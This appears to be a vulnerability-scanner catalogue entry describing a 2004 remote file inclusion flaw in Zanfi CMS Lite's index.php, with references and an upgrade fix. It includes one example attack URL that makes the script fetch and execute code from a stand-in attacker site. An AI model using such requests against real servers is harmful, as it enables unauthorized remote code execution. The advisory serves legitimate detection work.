Test ID:	1.3.6.1.4.1.25623.1.0.15452
Category:	CGI abuses
Title:	Zanfi CMS Lite Remote File Include
Summary:	NOSUMMARY
Description:	Description: The remote host is running Zanfi CMS Lite, a content management system written in PHP. There is a bug in the remote version of this software which may allow an attacker to execute arbitrary commands on the remote host by using a file inclusion bug in the file 'index.php'. An attacker may execute arbitrary commands by requesting : http://www.example.com/index.php?inc=http://[evilsite]/commands which will make the remote script include the file commands.php and execute it. Solution : Upgrade the newest version of this software Risk factor : High
Cross-Ref:	BugTraq ID: 11362 Common Vulnerability Exposure (CVE) ID: CVE-2004-2195 http://www.securityfocus.com/bid/11362 Bugtraq: 20041011 Multiple vulnerabilities in ZanfiCmsLite (Google Search) http://www.securityfocus.com/archive/1/378053 http://www.osvdb.org/10676 http://securitytracker.com/id?1011612 http://secunia.com/advisories/12792 XForce ISS Database: zanficmslite-inc-file-include(17691) https://exchange.xforce.ibmcloud.com/vulnerabilities/17691
Copyright	This script is Copyright (C) 2004 Tenable Network Security

This is only one of 145615 vulnerability tests in our test suite. Find out more about running a complete security audit. To run a free test of this vulnerability against your system, register below.